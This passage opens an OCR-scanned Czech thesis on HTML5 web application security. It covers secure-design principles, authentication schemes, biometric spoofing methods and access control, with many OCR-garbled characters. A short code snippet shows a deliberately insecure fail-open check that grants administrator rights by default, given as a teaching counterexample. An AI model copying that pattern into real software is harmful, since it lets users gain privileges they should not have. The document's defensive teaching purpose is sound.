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ABSTRAKT

Prace se zabyva problematikou analyzy bezpecnosti webovych standardi technologie
HTMLYS, jejimz hlavnim cilem je ukazat bezpecnostni uskali vyvoje webovych aplikaci
pomoci standardii vyuzivajicich specifikaci rozhrani technologie HTMLS. Prace je
rozdélena na teoretickou a praktickou Cést. Teoretickd Cast se v prvni kapitole zabyva
vSeobecnymi bezpecnostnimi principy vyvoje webovych aplikaci. Druha kapitola
se zabyva bezpecnostnimi hrozbami a riziky jednotlivych specifikaci technologie HTMLS.
V praktické Casti se tfeti kapitola zabyva navrhem webovych stranek se zranitelnostmi
specifikaci technologie HTMLS s pouzitim nejzndméjSich typt utoklt a implementaci
webové aplikace demonstrujici takové vybrané utoky a zranitelnosti. Ctvrtd a zaroveit
posledni kapitola se zabyvd metodami testovani, ndvrhem aplikace pro testovani
bezpecnosti webovych aplikaci a samotnou demonstraci implementovanych ttokt

ve webové aplikaci spole¢né s provedenim test navrzenou aplikaci.

Kli¢ova slova: HTMLS5, web standard, analyza bezpecnosti, zranitelnost, testovani

bezpecnosti.

ABSTRACT

This work deals with questions of analysis safety web standards of technology HTMLY5,
the target of this work is demonstration of safety difficulties in development web
applicaton by standards using specification of technological interface HTML5. Work is
divided into teoretical and practical part. The teoretical part, especially the first chapter,
deals with universal safety principals of development web. The second chapter deals with
security threats and risks particular specifications technology HTMLS5. In the practical part,
the third chapter is about web pages, for example about the proposals and vulnerability of
specifications technology HTML5. There are mentioned the well known types of attacks
and implementation of web application presenting these chosen attacks. The fourth and the
last chapter deals with metods of testing, applications for testing security web applications
and with demonstration of implemented attacks in the web application. In the same time is

given test by this application.

Keywords: HTML5, web standard, security analysis, vulnerability, security tests.
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UvVOD

HTMLS se zacina stavat novym standardem pro tvorbu webovych aplikaci. Vyvojaii, at’ uz
védomé ¢i nevédomé, k této nové technologii pfimo sméfuji nebo v nejbliz§i dobé
sméfovat budou. HTMLS5 totiz podporuje multiplatformni vyvoj, vetné mobilnich
aplikaci, které se v daném kontextu zdaji byt rozhodujicim faktorem pro jeho S$irsi vyuziti.
HTMLS5 neni jedinou technologii, ale je to kombinace komponenti jako jsou
XMLHttpRequest (XHR), Document Object Model (DOM), Cross Origin Resource
WebSQL (webova administrace sql databaze), LocalStorage (lokalni tlozist¢), WebSocket,
vylepSeny XHR a mnoho dalSich vylepSeni. Nevyhodou ovSem ziistava fakt, ze se jiz nyni
HTMLS potyka, ale také i nadale bude potykat s celou fadou hrozeb, od CORJackingu po
Cross Site Scripting (XSS) s HTMLS5 tagy, vlastnostmi a udalostmi. Jedna se tedy nejen
0 znamé typy utokd, k jejichz aplikaci bude plné postacovat bud’ soucasna struktura, nebo
mirna modifikace funkénich vektord, ale i o Uplné nové vektory, které doposud nebyly

pouZzity.

HTMLS je technologie jejiz bezpecnost zavisi pfedevS§im na vyrobcich webovych
prohlizect a jejich ptistupu k chapani a implementaci bezpecnostnich prvki. M4 mnoho
novych funkci, kde né€které z nich jsou z hlediska bezpe¢nosti zadsadni. Napiiklad XHR
umoznuje volani cross origin, coZ miiZze vytvotit nové vektory pro utoky typu CSRF (Cross
Site Request Forgery). DOM specifikace technologie umoziuje pouzit skripty pro DOM
based XSS (Gtoky zalozené na zranitelnostech na strané serveru). WebStorage (loziste),
FileSystem (soubory systém), Offline Cache nebo WebSQL umoziiuji tnik citlivych

informaci a dalsi a dal8i bezpe€nostni rizika a hrozby.
Aby bylo mozné vytvaret bezpecné webové aplikace a predchazet jejich moznym
zneuzivanim, je potfeba se naucit jednotlivé typy utoku klasifikovat, popsat je a hlavné jim

minimalné velmi dobfe porozumét a to jak z teoretického, tak i1 praktického hlediska.
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1 BEZPECNOST WEBOVYCH APLIKACI

Otazka bezpe€nosti webovych aplikaci by méla byt, z hlediska celého Zivotniho cyklu
jakékoliv webové aplikace, hlavni a stéZejni pro osoby zabyvajici se jejich analyzou,
vyvojem, testovanim a v neposledni fad¢ i nasazenim a naslednou spravou. Mezi zakladni
pilife informac¢ni bezpecnosti miizeme zaradit diivérnost (uzivatelovi je umoznén piistup
jen k datiim, ke kterym ma opravnéni), integritu (zajisténi, Ze s daty nebylo manipulovano
nebo nebyly ménény neopravnénymi uzivateli) a dostupnost (systémy a data jsou
k dispozici opravnénym uzivatelim). Tyto zasady jsou dulezité a nikdy by se nemély

meénit. Jejich dislednym pouzitim budou aplikace robustnéjsi a bezpecné;jsi.

Z bezpecnostniho hlediska lze posuzovat a nasledné i1 zajiStovat bezpecnost aplikaci
navice urovnich a vrstvach. Pocinaje fyzickou ochranou a zabezpecCenim sitové a
pocitacové infrastruktury a konce ochranou a zabezpecenim souvisejicich softwarovych
systémd. Pro uvod do problematiky této prace je dualezité si objasnit zakladni pojmy
z oblasti bezpecnosti aplika¢ni vrstvy. Sdruzeni pro bezpecnost webovych aplikaci [1]

uvadi nésledujici obecnd doporuceni.

Minimalizace moZnosti utoku

rrrrr

zvySena napiiklad pfidanim nebo upravou stavajicich funkcionalit. Proto je tfeba oSetfit
aplikaci vhodnymi ochrannymi prvky, jejichz tcelem je zabranit nebo podstatné sniZit

mozZnost utoku na aplikaci.
Vychozi zabezpeceni

Existuje mnoho zpisobt jak uzivatelim webovych aplikaci zjednodusit préci a nesvazovat
je riznymi restrikcemi. Nicméné kazda webova aplikace by méla byt ve vychozim stavu
bezpecna a pouze v urcitych piipadech by mohla ponechat na uzivatelich moznost snizeni
vlastni bezpec¢nosti. Naptiklad tim, Ze jim bude poskytnuta moznost vypnuti pozadavku na

silné heslo, nebo moznost nepozadovani zmény hesla po urcitém ¢asovém tseku.
Minimalni opravnéni

Timto principem se doporuCuje, aby uzivatelské ucty byly nastaveny na co mozna
nejmensi potiebné opravnéni. Tedy na Groven nezbytné nutnou pro bezproblémovou praci

v dané webové aplikaci. Do daného principu jsou zahrnovéany uZzivatelska prava, zdroje

opravnéni jako jsou limity procesoru, paméti, sit€ a opravnéni systému soubort.
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Hloubkova obrana

Dany princip poukazuje na skutecnost, ze pokud je rozumné pouzit jeden kontrolni
mechanismus (prvek), tak pouziti vice kontrolnich mechanismii (prvki) riiznymi zptsoby
je mnohem ucinnéjsi. Pokud jsou tyto kontrolni mechanismy pouzity v hloubce, tak bude

mimotéadné obtizné vyuzit jejich moznych zavaznych zranitelnosti k provedeni utoku.
Bezpecné selhdani

Pti zpracovani transakci aplikace z mnoha diivodt chybuji. Podle toho jak moc chybuji, je
mozné urcit, zda je aplikace bezpe¢na ¢i nikoliv. Naptiklad ¢ast metody:

1
i bool isAdmin = true; |
L try i
i nejakyKod () ; |
! isAdmin = IsUserInRole ("Administrator"); '
| ) |
! catch (Exception ex) { |
' log.write(ex.ToString()); i
1

! |

Bezpeénostni riziko muze predstavovat napiiklad metoda nejakyKod(). Tato bude
vyhodnocena jako bezchybnd, aktudlnimu uzivateli se tim pfidéli administratorska prava a

to 1 pfesto, Ze tato metoda obsahuje logickou chybu, kterd by méla vyvolat vyjimku.
Externi systémy jsou nebezpecné

Mnoho organizaci vyuZiva moznosti zpracovani dat tfetimi stranami. Tyto ovSem s nejvetsi
pravdépodobnosti pouzivaji rozdilné bezpecnostni politiky a postupy, nez jaké ma
nastavené dand organizace. Je také nepravdépodobné, ze by se nechali danou organizaci
ovliviiovat, poptipadé kontrolovat at’ uz se jednd o domaci uzivatele, hlavni dodavatele
nebo partnery. Z tohoto divodu neni implicitni divéra v tyto béZici externi systémy
opravnénd. Doporucenim je vSechny externi systémy zpracovavat za vyuZiti

bezpecnostnich politik a postupii organizace, kterd dané systémy vyuziva.
Rozdéleni odpovédnosti

Klic¢em k omezeni moznosti podvodného jednini je rozdéleni odpovédnosti. Zadny
uzivatel by nemél mit pfistup ke vSem soucastem webové aplikace, jako je fyzicka
infrastruktura celého systému, aplikacni vrstva, databdzova vrstva a dalsi. Vzdy je nutné
odpovédnost rozdélit mezi vétsi pocet uzivatelll a tim omezit moznost zneuZziti ptipadného

postaveni neomezeného uZivatelského pfistupu jednim uzivatelem.
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K tomuto se vztahuje i problematika nastaveni nékterych roli, které maji rozdilnou troven
davéryhodnosti, nez jakou maji bézni uzivatelé. Kuptikladu role administratora se lisi
od role uzivatele se standardnimi pravy. Obecné plati, ze spravce vétSinou nebyva
uzivatelem aplikace, neni to ale pravidlem. Spravce by naptiklad mél mit moznost zapnout
nebo vypnout systém, mél by mit moznost nastavovat politiku hesel, ale nemél by mit
moznost se ptihlasit k webové aplikaci jako super privilegovany uzivatel, ktery by mohl

provadét libovolnou ¢innost pod Gcty jinych uzivatelt.
Nevérit zabezpeceni neznamého kodu

Slabym mistem webové aplikace z hlediska bezpecnosti je slepad vira v jeji bezpecnost,
pokud je zdrojovy kéd neznamy, resp. je utajen. Neznamena to ovSem, ze utajeni kodu je
Spatny napad, pouze to znamend, Ze bezpecnost klicovych systémil by neméla byt zavisla
na utajenych detailech zdrojového kodu aplikace. Nicméné také neni mozné se
pii pozadavku na bezpecnost systému odvolavat na odtajnéni zdrojového kodu aplikace.
Existuji dalsi faktory, které by mély aplikaci €init bezpecnou, jako je kvalitn€jsi politika
hesel pro ptistup do aplikace, hloubkova obrana, limity podnikovych transakci, spolehliva

sitova architektura, kontrolni audity a mnoho dal$ich faktort.
Jednoduchost

Z pohledu programatora je dilezité se vyvarovat slozitym piistuptim a neptehlednosti kodu
pii vyvoji a naopak snazit se pouzivat pfimocare, prehledné a jednoduché konstrukce kodu.
Vyvojati by se méli vyhnout pouzivani dvojich zaporti a sloZzitych architektur, pokud
jednodussim ptistupem lze dosdhnout rychlejSiho a jednodussiho vyvoje. Z pohledu
uzivatele je dilezité nevytvaret nepiimeiené slozity bezpecnostni mechanizmus, ktery by
mohl vést bud’ k jeho obchédzeni, anebo k odmitnuti pouzivani takové aplikace. Dulezité je
tedy v ramci moZnosti vytvaret webové aplikace jednoduché, srozumitelné, piehledné a to
vcetné administratorského rozhrani nebo API knihoven obsahujici funkce souvisejici

S bezpecnosti aplikace.
Spravné stanoveni bezpecnostnich problémii

Ve chvili, kdy je zjiSténo slabé misto v zabezpeceni aplikace, je pro pochopeni pficiny
problému daného mista dalezité vytvofit testovaci rutinu. Tato testovaci rutina bude
soucasti samotné¢ho vykonného kodu a pifi kazdém spusSténi aplikace provede test
inkriminovaného mista. Pokud jsou pi#i navrhu aplikace pouzity navrhové vzory, je

pravdépodobné, ze se slabé misto v zabezpeceni bude vyskytovat mezi v§emi bazemi kéddu.
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Proto je zcela zasadni spravné stanoveni bezpe¢nostniho problému, aniz by doslo k regresi
(regrese — stav, kdy upravou zdrojového kodu prestane fungovat ta cast, ktera pred

provedenou upravou fungovala spravnge).

Aby se zabranilo zneuzivani webovych aplikaci (a nejen jich), je nutné pii navrhu
bezpecnostnich opatfeni porozumét do hloubky jejich aplikacnimu okoli. Bez znalosti
jednotlivych vrstev pfistupujicich k aplikacim, které mohou znamenat potencionalni
vnéjsiho prostiedi pro bezpeény vyvoj webovych aplikaci patii uzivatelé, vstupni body a
mista moznych utokd. Je nutné nejen obsah, ale i pfistup k vyvijenym aplikacim aktivné

chranit pied zneuzitim nebo odcizenim. Mezi zakladni typy zabezpeCovacich technik patfi:

autentizace a sprava uzivatela

autorizace a pfistupova opravnéni

relace (sessions)

validace dat

1.1 Autentizace a sprava uZivateli

Jednim ze zékladnich principii bezpecnosti webové aplikace je autentizace uZzivatele nebo
n¢jakého subjektu, pii které se ovéiuje, zda uzivatel nebo subjekt je opravdu ten, za koho
se vydava. Tento proces je tak silny, jak kvalitni je politika spravy uzivatell, zejména

politika distribuce a ovérovani totoZnosti uzivateld.
Mezi zakladni metody autentizace se fadi:

- to co uzivatel zna (uzivatelské jméno, heslo),

to co uzivatel ma (osobni certifikat, hardwarovy klic),
- to, co uzivatel umi (umi odpovédéet na ndhodné vygenerovanou kontrolni otazku),
- to, ¢cim uzivatel je (otisk prstu, snimek o¢ni sitnice, duhovky).

Dulezitym pozadavkem autentizace je vhodné zvoleni jeji formy. Pro systémy s niz§im
pozadavkem na zabezpeceni jako jsou diskusni fora nebo rizné formy blogii postaci
pfihlaSeni pomoci uZivatelského jména a hesla, ale pro systémy s pozadavkem na vyssi

uroven zabezpeceni jako jsou obchodni nebo bankovni systémy je potieba volit daleko
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sofistikovanéjs$i formy autentizace. Z vySe uvedenych diivoda lze autentizaci webovych

aplikaci rozd¢lit:

HTTP autentizace

- Formuléafova autentizace
- Integrovand autentizace
- Digitalni certifikaty

- Jednorazové heslo

- Biometricka autentizace

1.1.1 HTTP autentizace

Témét vSechny webové sluzby a aplikaéni servery podporuji tento jednoduchy autentizacni
mechanismus. Jedna se o zakladni typ autentizace na urovni http protokolu, v jehoz ramci
muze byt pouzito Basic nebo Digest ptistupové autentizacni schéma, kde server s pomoci
odezvy (401 Unauthorized) a hlavicky (WWW-Authenticate) sd¢li webovému prohlizeci,

ze mé od uzivatele ziskat pfihlasovaci udaje.

Basic autentizace — je zaloZena na uzivatelem zaslaném pfiihlasovacim jménu a heslu
v otevieném formatu kodovaném metodou Base64. Tato metoda sice mirné ztéZuje Cteni
autentizaCnich udaji, ale diky tomu, ze je pfenaSena v nezaSifrované formé, je snadno
odposlechnutelnd a dekddovatelna. Schéma tedy neposkytuje zadné zabezpeceni proti

odposlechu téchto tdajit béhem ptenosu po siti.

Digest autentizace — z divodu odstranéni nedostatku ve formé nezabezpeceného, tedy
otevieného pfenosu autentizac¢nich udajl po siti pfedchozim schématem Basic autentizace,
bylo navrzeno nové schéma zalozené na modelu challenge-response (pozadavek-odpovéd’),
jehoz ucelem je zasilani MDS5 (dle RFC 2617) kontrolniho souctu autentizacnich dajt,
kterymi jsou piihlaSovaci jméno, heslo a fetézec obdrZeny serverem v ramci pozadavku

na autentizaci.

Vyhodou uvedenych schémat je rychlé ovéfeni pro piistup na webové stranky, jelikoz jsou
podporovany ze strany téméi vSech webovych prohlizect. Nevyhodou je opétovné zasilani
udajt s kazdym novym pozadavkem na server, obtizné feSitelnd moznost odhlasit se, stejné
tak 1 moznost automatického odhlaseni po urcité dob¢. Nevzhledné uzivatelské rozhrani

pro zadani autentiza¢nich udaji a také nachylnost na utoky typu Man-in-the-middle.
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HTTP autentizace neni k béznému pouzivani doporuovana, nicméné je ocenéna

v pripadech, kdy s aplikaci nebude komunikovat uzivatel, ale n¢jaky jiny program.

1.1.2 Formularova autentizace

Dalsi a daleko Castéji pouzivanou moznosti autentizace pro webové aplikace je pouziti
HTML formulatfe. Tento typ autentizace je hojné¢ vyuzivan diky tomu, ze vyvojafi maji

plnou kontrolu nad uzivatelskym rozhranim.

Webova aplikace zasle v piipadé potfeby uzivatelovi stranku s HTML formulaiem
pro ptihlaseni. Uzivatel vyplni pfihlasovaci jméno a heslo a odeSle. Server zaslané
informace vyhodnoti a v pfipad¢ shody spoji s ndhodné vygenerovanym identifikatorem
aktudlni session. Od této chvile si prohlize¢ se serverem nepiedava ptihlasovaci jméno a
heslo, ale zasila své pozadavky pravé pomoci vygenerovaného jedine¢ného identifikatoru -
session token, ktery je uloZen u uzivatele v podobé cookie. Nebo v hor§im piipad¢ je

vkladan do URL adresy.

Nepopiratelnou vyhodou této formy autentizace je moznost uzivatelského odhlaSeni,
popiipad¢ automatického odhlaseni po nastaveném Casovém useku uzivatelovi necinnosti,
zruSenim relace na serveru. V piipadé potieby dalsiho pozadavku je nutné autentizaci

provést znovu zaslanim stranky s HTML formulafem pro ptihlaSeni.

Komunikace probihajici mezi klientem a serverem by méla byt rozhodné zabezpecena, a to
asponn pro prvotni navdzani komunikace, kdy se odesild piihlaSovaci jméno a heslo.
PtihlaSovaci formulaf by se mél odesilat metodou POST, jelikoz metoda GET, kromé toho,
ze vyuzivd URI dokumentu jednoznaéné identifikujici jednotlivé objekty na web
serverech, také vSechny odesilané parametry ukladd do historie prohlizece, které jsou

snadno odcizitelné.

Pro pouziti formularové autentizace je velmi dulezité pouzivat transportni protokol SSL
(Secure Socket Layer), jelikoz samotny http protokol nezajistuje diivérnost pienosu
informaci ani integritu spojeni. Zabezpeceni protokolu HTPP pomoci SSL se oznacuje jako
HTTPS a kromé& divérnosti a integrity spojeni dokéaze také zajistit autentizaci pomoci
asymetrické kryptografie. Naslednikem SSL protokolu je TLS protokol (Transport Layer
Security).
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1.1.3 Integrovana autentizace

Integrovand autentizace je nejcastéji pouzivana v podnikovych intranetovych aplikacich
postavenych na technologii ASP.NET, webovém prohlize¢i Microsoft Internet Explorer a
webovém serveru Microsoft IIS. V¢étSina ostatnich webovych serveri tuto moznost
nenabizi, jelikoz chtéji podporovat rizné prohlizece a ne jen Microsoft Internet Explorer
ve spolupraci se sluzbou IIS. Nicméné pokud vyvojové prostfedi pro vyvoj intranetové
aplikace tuto integrovanou autentizaci podporuje, je vhodné ji pouzit. Nejen kvili
bezpecnosti a spravné funk¢nosti mechanismu ovéfrovaciho procesu, ale 1 kvili tomu, Ze
vyvojati nemusi vyvijet vlastni ovladaci prvky pro autentizaci a naslednou autorizaci, ale

mohou vyuzit jiz hotovych komponent.

Dalsi vyhodou je uZivatelskd ptivétivost v podobé jednoho uzivatelského konta, a tedy
nutné znalosti jednoho uzivatelského jména a hesla, ke vSem intranetovym aplikacim
v ramci jedné autorizacni infrastruktury. Oveéfovani probihd téméf stejné jak u autentizacni

metody Digest, vyuzivajictho mechanismu challenge-response.

1.1.4 Digitalni certifikaty

Autentizace pomoci certifikati je velmi Casto implementovanou metodou, pouZivanou
na mnoha webovych a aplikacnich serverech. Jedna se o mnohem silngjSi metodu
Z hlediska bezpecnosti nez doposud uvedené. K provedeni autentizace je vyuZivana
kryptografie s vefejnym kli¢em a digitalnim certifikatem pro ovéfeni identity uZzivatele.
V ptipadé potieby vétSiho zabezpeceni je mozné jesté tuto autentizaci zkombinovat s jinym

schématem zaloZenym na bazi hesel.

Kvalita autentizace pomoci certifikatu je pfimo umérna kvalité infrastruktury vetejnych
klica pouzitych k vydani certifikatu. Jakdkoliv certifikacni autorita, ktera certifikat vyda
komukoliv, kdo o néj pozada bez jakéhokoliv ovéfeni totoznosti, je v oblasti bezpecnosti
mnohem méné diveéryhodnym subjektem, neZ autorita, kterd vyda certifikat jen tomu, kdo
pii vydani prokaze svoji totoznost nékterym z uznavanych doklada totoznosti, jakymi jsou
napiiklad obcansky priikaz nebo cestovni pas. Velmi dilezitd je 1 divéra koncovych
uzivatell v jednotlivé certifikacni autority, nutné pro instalaci potfebnych kotfenovych

certifikatu.

vV

Jak jiz bylo zminéno, vyhodou certifikatli je jejich vyssi bezpecnost, a proto je vhodné je

vyuzivat predev§im pro pristup do systémii s ulozenymi velmi citlivymi daty, jako je
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napiiklad elektronické bankovnictvi nebo obchodni systémy. Existuje i moznost provedeni

autentizace uzivatele pouzitim jednoho certifikatu na vice web serverech.

Nevyhodou je pak zejména jejich nakladovost, vzhledem ke komplikacim s jejich
ziskavanim, distribuci a spravou. Jejich slozita ptenositelnost v piipadech, kdy uzivatel
potiebuje k citlivym datim pomoci certifikatu pfistupovat z riznych mist a pocitacli, musi
mit certifikat ulozeny na n¢jakém pienositelném médiu, z kterého pak nasledné provede
instalaci do systému pouzivaného pocitace. Poptipadé vyuzit ulozeni certifikatu v ¢ipové

karté, kde je ovSem dulezita dostupnost vhodné Ctecky karet.

1.1.5 Jednorazové heslo

Jednorazova hesla (OTP — One Time Password) se vyuzivaji v prostfedich, kde by mohlo
hrozit odposlechnuti hesla pfi nesifrovaném pienosu po siti, nebo pii vicendsobné, v tomto
pfipadé spiSe dvoufaktorové autentizaci. Typickym piikladem wuziti je internetové

bankovnictvi.

Priméarni myslenkou bylo snizeni autentizacni citlivosti uzivatelského jména a zejména

hesla, aby jiZz nemuselo spliiovat pomémné piisnou formu sloZitosti a podminky

-----

Bezpecnost je zalozena na predchozim vygenerovani sady hesel, kterd se pro ovéteni
transakce pouziji pouze jednou. Po pouziti hesla z tohoto seznamu a ovéfeni spravnosti
zadani jak na stran¢ klienta, tak 1 na stran¢ serveru, dojde k jeho odstranéni. Pravé diky
jednorazovosti se toto heslo pro moznost dal$i autentizace neda opakované pouZit a tudiz

zneuzit.

V soucasné dob& je nejrozsifenéjSi pouziti jednorazového hesla implementovéano
spolecnosti EMC, respektive jeji divizi RSA Security v systému RSA SecurID. Cela
implementace je postavena na synchronizaénim protokolu mezi serverem a klientem
trvajicim jen po omezenou dobu. Zde je nastavena na 30 sekund, kdy je mozné pouzit
vygenerované heslo, resp. v tomto konkrétnim systému sekvenci Cisel. Tento typ
doprovodné autentizace stanovuje vysokou uroven zabezpeceni, jelikoz provedeni utoku,
Vv pfipad€¢ zachyceni jednordzového hesla, je mozné provést pouze ve velmi kratkém
casovém useku. Po tomto Casovém tUseku klient ve spolupraci se serverem vygeneruje
heslo nové a ptfedchozi zneplatni. Jednorazova hesla dokazala, po dobu své existence,

odolnost vaci utokdm.
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Nevyhodou této metody je pofizovaci cena klientskych zatizeni, predev§sim hardwarovych.

1.1.6 Biometricka autentizace

Pro kazdého identifikovatelného jedince jsou biometrické informace jedine¢né, po cely
zivot relativné neménné a trvale neodstranitelné, pokud nedojde k jejich zna¢nému
poskozeni. Z hlediska autentizace neexistuji dva jedinci se stejnymi biometrickymi
informacemi. Nicméné z hlediska bezpecnosti je pouziti této metody jako zpisobu
autentizace pro webové aplikace nevyhovujici. Pro divéryhodnost takového mechanismu
autentizace je zapotiebi pouzit biometricka data naptiklad spolu s uzivatelskym jménem a

heslem.

Jak jiz bylo zminéno, forma zabezpe&eni tohoto typu autentizace neni silna. Utoénik mé
moznost zajistit si potiebné zafizeni pro sniméni biometrickych udaji, kde zejména
zakladni typy nemaji zajiSténou zadnou ochranu nasnimanych dat pfipravenych, nebo jiz
pouzitych, k pfenosu pro provedeni autentizace. Problém u webovych aplikaci tkvi praveé
V tom, ze vzdalenému pienosu biometrickych dat se nedé vérit, diky tomu, Ze neni mozné

provést naptiklad vizualni kontrolu, nebo kontrolu totoznosti jedince.

Nameétena biometrickd data nemohou byt anulovana, jelikoz rozliSitelné atributy jsou
u identifikovatelného jedince neustdle pfitomny a jsou nezdvislé na jakémkoliv tkonu
autentizované¢ho. Mezi tyto vlastnosti patii oci pro sken ocni sitnice nebo duhovky, deset
prstl na rukou pro otisk prstu nebo celé dlané, anebo hlava pro sken 3D tvaru obliceje
ve formé& vektoru bodli vyznamnych rysii. Dal§imi dulezitymi biometrickymi vlastnostmi
jsou behavioralni charakteristiky. Mezi tyto charakteristiky patii predevsim lidsky hlas pro
autentizaci na zaklad¢ teci, lokomoce pro identifikaci na zédkladé¢ mechanického pohybu
nebo podpis, resp. pismo vSeobecné pro identifikaci na zéklad¢ jedineéného psaného
projevu za pouziti elektronického snimaciho zafizeni, umoziujicitho i rozpoznéni tlaku
pfi psani. Utoénikiim tedy k neopravnénému pfistupu do systému sta¢i naptiklad umély

otisk prstu jedince, ktery v zdjmové aplikaci ma vytvoreny ucet.

V soucasnosti se pod pojmem biometricka autentizace rozumi dle [2] metody otisku prsti,
barevné otisky prstll, autentizace na zaklad¢ obliceje, autentizace na zakladé geometrie
ruky, identifikace na zéklad¢ duhovky, identifikace na zaklad¢ sitnice, identifikace
na zakladé¢ DNA, identifikace na zdkladé EEG kiivky, analyza psani na klavesnici,
identifikace na zaklad¢ chiize. Jedna se o metody aktudlné pouzivané, ale 1 do budoucna

0 metody perspektivni.
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Mezi moznosti piekonani biometrické autentizace patii dle [3]:

1.1.7

podvrzeni biometrickych viastnosti - tok spociva v podstréeni falesnych dat a
oklaméni senzoru systému napi. faleSnym otiskem prstu, replikou tvafe nebo

umeélou duhovka a dalSimi,

replikace starych dat - jde o0 moznost odpozorovani uzivatelského ¢isla a pinu, diky

nimz lze obnovit latentni charakteristiku na snimaci,

modifikace sablony - Utok spo¢ivd v provedeni zmény ptivodni Sablony ulozené
v databazi, kde opravnénému uzivateli je zménou této Sablony znemoznén ptistup
do aplikace a naopak umoznén jiné osobé€, které patii zmeénéna data nahrazené

Sablony,

modifikace extraktoru - jde o modifikovany extraktor generujici pfedem piipraveny

vektor ryst, ktery mlize nastat jen za urcitych specifickych podminek,

zmeéna porovndni - pro vSechny biometrické systémy je vytvoieno takzvané klicové
misto. Jde o prah porovnéni, kterym je nasledné vygenerovan vysledek daného
porovnani. Utoénikovi je pfifazena libovolna identita, jde-li u verifikace o velmi
nizky prah.

zména vysledku - jde o moznost povoleni pfistupu neautorizované osob& na zakladé

predem vybraného vysledku fidici aplikaci,

synteticky vektor rysui - jde o utok, ktery je zaloZeny na vytvoteni vlastni umélé

Sablony, obsahujici vybrané markanty otiskll prstu nebo o¢ni sitnice ¢i duhovky,

blokovani kandlu - uzivatelim bude odepten pfistup, pokud systém neni schopen
provést porovndni bez ptistupu do databaze Sablon. Nefunk¢ni systém pak bude

nahrazen jinym autentizacnim schématem pro jednodussi oklamani Gito¢nika.

Sprava uzivatelu

Soucasti ovérovaciho procesu webové aplikace je kromé samotného zptlisobu autentizace,

také proces porovnani autentizovanych udajii s evidovanymi tdaji. Velmi ¢asto se jedna se

o data uzivatelii, kterd kromé& uzivatelského jména a hesla obsahuji i osobni udaje

podléhajici pravni ochrané. Z toho diivodu je pro tato velmi citliva data dalezité zvolit co

nejbezpecnéjsi formu pro jejich uchovavani a spravovani. V soucasnosti nejbéznéjsi a

nejpouzivanéj$i formou prace s témito daty je databdze s omezenym a kontrolovanym
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(napt. zédpisem do logovaciho souboru) piistupem s uchovavanim upravenych hesel
nékterou z hashovacich funkci typu MDS5, SHA-1 nebo SHA-2. Jelikoz tato by neméla byt

beézné¢ Citelna pro administratora aplikace a uz viibec ne pro ptipadného uto¢nika.

1.2 Autorizace a pristupova opravnéni

Castou chybou pii tvorb& webovych aplikaci je nespravné provedeni autorizace uZivatele
nebo entity. Autorizace je totiz mechanismus kontroly opravnénosti ptistupu k jednotlivym
funkcim a zdrojim dat, které autentizovani uzivatelé nebo entity mohou vyuZzivat.
Pro omezeni pristupu se mnoho vyvojari spoléhd na zakladni nastaveni a vychozi
uzivatelskd rozhrani webovych prohlize¢t. Napiiklad pro zobrazeni profilu uzivatele se

standardn¢ pouzije jeden odkaz, kterym se ovSem nezaruci, Ze autorizovany uzivatel si

nebude moci zobrazit profil nékoho jiného.

Cilem autorizace je zajistit, aby autentizovani uzivatelé v rdmci svych trovni opravnéni
mohli provadét povolené akce a pristupovat k ur€itym povolenym souborim v rdmci dané
webové aplikace. A také zabranit utoklim zneuZzivajici nastavené role opravnéni a moznosti
provadét akce, které jsou béznym uzivatelim, ale i ovéfenym uZivatelim zakazéany.
Naptiklad vyuzitim administratorskych funkci nebo ucti jinych opravnénych uzivatelt

S vysSimi pravy.
1.2.1 Princip nejnizsiho opravnéni

Dany princip spo¢iva v dodrZeni nastaveni nezbytné nutnych piistupovych opravnéni,
které konkrétni uZivatel pottebuje ke spravné funkci v rdmci bezproblémové cCinnosti
webové aplikace. Dilezitym bodem bezpecnosti je, aby webova aplikace nebyla spusténa
S nepfiméfenymi opravnénimi, které by mohli uZivatelovi umoznit vyuzit pfili§ velkych
privilegii v rdmci chranénych zdroji, jako je napiiklad databaze, nebo kod bézici
Vv prosttedi s plnym piistupem mimo chranény prostor sandboxu. Pro uvedeny princip jsou

dulezité nasledujici vlastnosti:

- Uroven systémovych uétl by méla byt nastavena na co nejniz§i uroveii opravnéni
jak je to jen mozné. Uéty jako ,,administrator®, ,.root“, ,,sa“ nebo jiné uéty s plnymi
pravy by nikdy neméli byt pouZzity v bézicich aplikacich pro jakykoliv pfistup
k ¢emukoliv nebo pro pfipojeni k webovému serveru anebo k databazi.

- Uzivatelé by neméli byt spravci.
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- Uzivatelé¢ by nem¢li mit moznost pouzivat neautorizované nebo administratorské
funkce.

- Uzivatelské ucty by mély mit jen takové opravnéni, které v ramci aplikace potiebuji
pro plnéni piidélenych ukold.

- Pokud bude vyvoj a testovani probihat v prostfedi s nastavenou co nejniz§i moznou
mirou opravnéni, pak i webova aplikace bude ve vysledném produkénim prostredi

- Pristup k databazi by mél probihat prostfednictvim parametrickych uloZenych
procedur, aby veskera préace s tabulkami (SELECT, INSERT, UPDATE, DELETE,

DROP a dalsi) probihala také pod databdzovym tctem s co nejniz§imi opravnénim.

- Vyhodnotit miru nebezpeci a provést zabezpeceni pristupu ke kodu.

1.2.2 Seznam pro Fizeni pFristupu

Nastavena pfistupovd opravnéni jsou z bezpe¢nostniho hlediska ve vychozich stavech
nediivéryhodnda, protoze jejich bezpecnostni politika je nastavena na uroven piistupu
S plnymi pravy, coz pro béh témét libovolné aplikace neni vibec nutné. Aplikace by tedy
méla byt vzdy vytvafena s co nejtésnéjsi vazbou mezi seznamem piistupovych opravnéni a
nastavenim takové irovné opravnéni, jakou skutecné potiebuje. Seznam pro fizeni piistupu
tedy urcuje, kdo nebo co ma opravnéni pfistupovat k uréitému objektu a jaké operace s nim
muze provadét. VSeobecné uznavanym a pouzivanym oznacenim v oblasti pocitacové
bezpecnosti se pro dany seznam pouziva zkratka ACL (z anglického spojeni access control
list). ACL je standardné specifikovan zdznamem v seznamu uZivatele a povolenou operaci.
Systém pifed provedenim ukonu nejdiive prohleda ACL, vyhledd povolené operace
k autorizovanému uzivatelovi a rozhodne o jejim provedeni. Pro tvorbu ACL, tedy

seznamu fizeni pfistupu, jsou dileZité nésledujici vlastnosti:

- Pfi tvorbé seznamu ACL je dilezité zacit nastavovani vzdy na nejniz$i Grovni
opravnéni, coZ je ve vetsSing systému ,,deny all* (vSe zneptistupnéno) a teprve poté
postupné ptidavat k jednotlivym rolim nezbytna opravnéni.

- Kontrola sitového ptistupu — pomoci firewallil a dalSich filtra.

- Kontrola pfistupu k systémovym souborim — pomoci opravnéni k adresaiiim a
soubortim.

- Kontrola uzivatelskych opravnéni — kontrola pfistupu uZivateld a skupin na zakladé

